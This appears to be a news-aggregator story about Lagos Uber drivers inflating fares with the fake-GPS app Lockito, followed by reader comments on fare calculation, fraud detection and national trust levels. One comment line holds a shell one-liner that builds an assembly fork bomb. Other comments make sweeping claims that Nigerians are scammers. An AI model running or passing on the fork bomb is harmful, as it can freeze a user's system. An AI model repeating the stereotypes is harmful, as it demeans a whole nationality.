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Uber Drivers In Lagos Are Using a Fake GPS App To Inflate Rider Fares (qz.com)
According to Quartz, some Uber drivers in Lagos have been using a fake GPS itinerary app called Lockito to illicitly bump up fares for local drivers. The app was initially created for developers to "test geofencing-based apps," but has been used by Uber drivers to inflate the cost of their trips. From the report: In some cases, inflated trips can cost riders more than double the rate they should be paying. "It's more like a parasite," says Mohammed, a driver for both Uber and Taxify in Lagos. "It sets the false GPS movement while allowing the phone also to keep track of its actual movement. The Uber app can't tell the difference between both so it just calculates both." When a driver uses Lockito for an Uber trip he or she can have the fake GPS running (and calculating a fake fare) from the pickup point to the drop off location, before the passenger has even got into the car. When the real trip starts, the real GPS starts running and calculating the actual fare. But at the end of the journey the fares from both trips (real and fake) are tallied up as one fare which the unsuspecting rider pays. Some drivers use Lockito to inflate fares by adding 1000 naira to 2000 naira extra (roughly $3 to $6) but some drivers are believed to inflate fares to exorbitant levels.
"[Lockito] sets the false GPS movement. have the [Lockito] fake GPS running (and calculating a fake fare) from the pickup point to the drop off location, before the passenger has even got into the car."
Why is "movement" involved in calculating a fare from a pickup point to a dropoff location? Surely this is done using a map. "Movement" makes it sound like fare calculation works by driving a physical dry run of the planned journey, over real roads but without a passenger, which is ridiculous.
What does GPS have to do with maps? I understand driver slang, "I got a GPS for my car," means I got a Tom-tom or some other computer full of maps that incidentally has a GPS receiver to help center the map, but the maps are its main feature. However altering GPS coordinates can't alter map data.
Can we get an explanation of what's going on that uses words according to their true meanings instead of this fuzzy-headed nonsense?
Just make sure the rider and the driver's GPS show the same route. If the routes differ, somebody (one or both) is scamming the system. Keep tracking enough fares, and it will become apparent who's scamming and who you can trust. Couple that with a bit of post processing the reported route being charged verses the total time and known traffic conditions, it's going to be really clear what's going on and then Uber can correct the charges.
Eventually, armed with a zero tolerance policy that prescribes an ever increasing level of punishment for those who attempt to scam and reimbursement for ill gotten gains, you will weed out the bad apples. You won't get away with doing this very long before Uber gives you the boot and the problem corrects itself.
"File to fit, pound to insert, paint to match" - Aircraft Maintenance 101
Yeah, because taxi drivers never cheat on fares.
Yeah, it's an example of a low trust society. Which is why, despite having vast natural resources Nigeria has a GDP(PPP) per capita of $5900 table, i.e. it does pretty badly.
https://www.cia.gov/library/pu...
The opposite case in Japan. Almost no natural resource but it's a very high trust society. And it does pretty well with a GDP(PPP) per capita of $41,300.
GDP(PPP) per capita isn't everything of course. I mean I'd prefer Japan over Nigeria even if you reverse their prosperity levels. Funny thing is Japan got levelled completely in WWII and grew very quickly back to first world prosperity. So actually a Japan rebuilding from devastation but keeping its high trust society status would be an awesome place to be. Same with the more high trust bits of the USA. The low trust bits of the USA are almost as bad as Nigeria though.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
When I use Uber it knows my location and destination and gives me the fare in advance. I get billed that no matter what route the driver takes so distance doesn't seem to be a factor in the final fare price. If fares get changed in Lagos based on the spoofed distance, it would seem to be easy for Uber to find the scammers. Drivers would either be traveling at unrealistic speeds based on the time of travel and distance reported or not be available if the don't close out the trip and take far to long for the trip. Since it adds the two trips it would seem easy for Uber to compare the reported length, duration and fare vs an Uber standard length, duration and fare and detect scammers; refund passengers and withhold payments from drivers.
I'm a consultant - I convert gibberish into cash-flow.
This is Nigeria. Scams are 50% of their economy.
Nigeria has had this reputation throughout Africa long before the Internet. Now it's throughout the world.